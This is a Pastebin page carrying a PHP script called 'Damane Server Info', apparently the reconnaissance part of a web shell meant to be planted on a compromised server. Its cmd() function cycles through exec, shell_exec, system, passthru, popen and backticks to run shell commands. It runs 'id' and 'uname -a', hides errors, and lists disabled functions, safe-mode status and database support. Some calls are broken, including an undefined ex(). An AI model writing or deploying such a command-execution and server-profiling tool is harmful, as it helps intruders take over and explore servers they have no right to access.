Advertisement
Damane-Dz

Damane Server Info 1.0

Nov 18th, 2012
887
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.59 KB | None | 0 0
  1. <?
  2. /*
  3.  
  4. File Writed By Damane2011
  5.  
  6.  
  7. Twitter: @DamaneDz
  8.  
  9. */
  10.  
  11. $version = "0.1";
  12. $vsplit = "style=\"border-right: #000000 1px solid;\"";
  13. $hsplit = "style=\"border-bottom: #000000 1px solid;\"";
  14.  
  15. error_reporting(0);
  16.  
  17. //Software
  18. $sort = htmlspecialchars($sort);
  19.   if (empty($sort)) {$sort = $sort_default;}
  20.   $sort[1] = strtolower($sort[1]);
  21.   $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  22.   if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  23.   $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<b><u>PHP/".phpversion()."</u></b>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  24.  
  25. /// PHP Version
  26. if(version_compare(phpversion(),"4.1.0") == -1)
  27. { $_POST=&$HTTP_POST_VARS; }
  28. if(get_magic_quotes_gpc())
  29. foreach ($_POST as $k=>$v)
  30. { $_POST[$k] = stripslashes($v); }
  31.  
  32. function fe($s)
  33. {return function_exists($s);}
  34. function cmd($s)
  35. {if(fe("exec")){exec($s,$r);$r=join("\n",$r);}
  36. elseif(fe("shell_exec"))$r=shell_exec($s);
  37. elseif(fe("system")){ob_start();system($s);$r=ob_get_contents();ob_end_clean();}
  38. elseif(fe("passthru")){ob_start();passthru($s);$r=ob_get_contents();ob_end_clean();}
  39. elseif(is_resource($f=popen($s,"r"))){$r="";while(!feof($f))$r.=fread($f,512);pclose($f);}
  40. else $r=`$s`;return $r;}
  41. function safe_mode_is_on()
  42. {return ini_get('safe_mode');}
  43. function str100($s)
  44. {if(strlen($s)>100) $s=substr($s,0,100)."..."; return $s;}
  45. function id()
  46. {return str100(cmd("id"));}
  47. function uname()
  48. {return str100(cmd("uname -a"));}
  49.  
  50. /// Disabled Functions
  51. $disable_functions = @ini_get('disable_functions');
  52. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  53.     function posix_getpwuid($p) {return false;} }
  54. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  55.     function posix_getgrgid($p) {return false;} }
  56.    
  57.     // Show Stat
  58.       function showstat($stat) {
  59.     if ($stat=="on") { return "<font color=#00FF00><b>ON</b></font>"; }
  60.     else { return "<font color=#FF9900><b>OFF</b></font>"; }
  61.   }
  62.   function testoracle() {
  63.     if (function_exists('ocilogon')) { return showstat("on"); }
  64.     else { return showstat("off"); }
  65.   }
  66.     function perl() {
  67.     if (ex('perl -h')) { return showstat("on"); }
  68.     else { return showstat("off"); }
  69.   }
  70.   function testpostgresql() {
  71.     if (function_exists('pg_connect')) { return showstat("on"); }
  72.     else { return showstat("off"); }
  73.   }
  74.   function testmssql() {
  75.     if (function_exists('mssql_connect')) { return showstat("on"); }
  76.     else { return showstat("off"); }
  77.   }
  78.   function testcurl() {
  79.     if (function_exists('curl_version')) { return showstat("on"); }
  80.     else { return showstat("off"); }
  81.   }
  82.   function testmysql() {
  83.     if (function_exists('mysql_connect')) { return showstat("on"); }
  84.     else { return showstat("off"); }
  85.   }
  86.  
  87.   function showdisablefunctions() {
  88.     if ($disablefunc=@ini_get("disable_functions")){ return "<font color=#FF9900><b>".$disablefunc."</b></font>"; }
  89.     else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
  90.   }
  91.  
  92.   if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
  93.     $safemode = TRUE;
  94.     $hsafemode = "<font color=#3366FF><b>SAFE MODE is ON (Secure)</b></font>";
  95.   }
  96.   else {
  97.     $safemode = FALSE;
  98.     $hsafemode = "<font color=#FF9900><b>SAFE MODE is OFF (Not Secure)</b></font>";
  99.   }
  100.  
  101. echo "
  102. <html><head><title>Damane Server Info</title></head><body>
  103. <link href='http://dz48-coders.org/indexi/pic/favicon.ico' type='image/x-icon' rel='shortcut icon' />
  104. <style type=text/css>
  105. body{background-color:#111;font-family:verdana;}
  106. .info{background-color:#fff; width=100%; height:350px;}
  107. input,textarea{border:1px solid #000;}
  108. </style>
  109. <div class=info>
  110. <table bgcolor=#ff0000 width=100%px height=20px>
  111. <tr>
  112. <td><font color=#fff size=1px><center>Damane Server Info 1.0 [Coded By: Damane2011] & [Designed By: m0m]</center></font>
  113. </td></tr></table>
  114. <font color=#000 size=2px>
  115. <center><span><font color='#111'>
  116. <br> Software : ".$DISP_SERVER_SOFTWARE ." | </br>
  117. <br> ID:".id()." |</br>
  118. <br> PHP Ver:". @phpversion() ." |</br>
  119. <br> Uname -a: ".uname()." |</br>
  120. <br> Your IP:".$_SERVER["REMOTE_ADDR"]." |</br>
  121. <br> Server IP:".gethostbyname($_SERVER["HTTP_HOST"])." |</br>
  122. <br> $hsafemode | </br>
  123. <br> Disabled Functions: ".showdisablefunctions()."|</br>
  124. <br> MySQL: ".testmysql()."|
  125. MSSQL: ".testmssql()."|
  126. Oracle: ".testoracle()."|
  127. PostgreSQL: ".testpostgresql()."|
  128. </center>
  129. <p align='center'><font color='#FF00FF'>By Damane2011<br/></font>
  130. </div>
  131. <br/>
  132. ";
  133. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement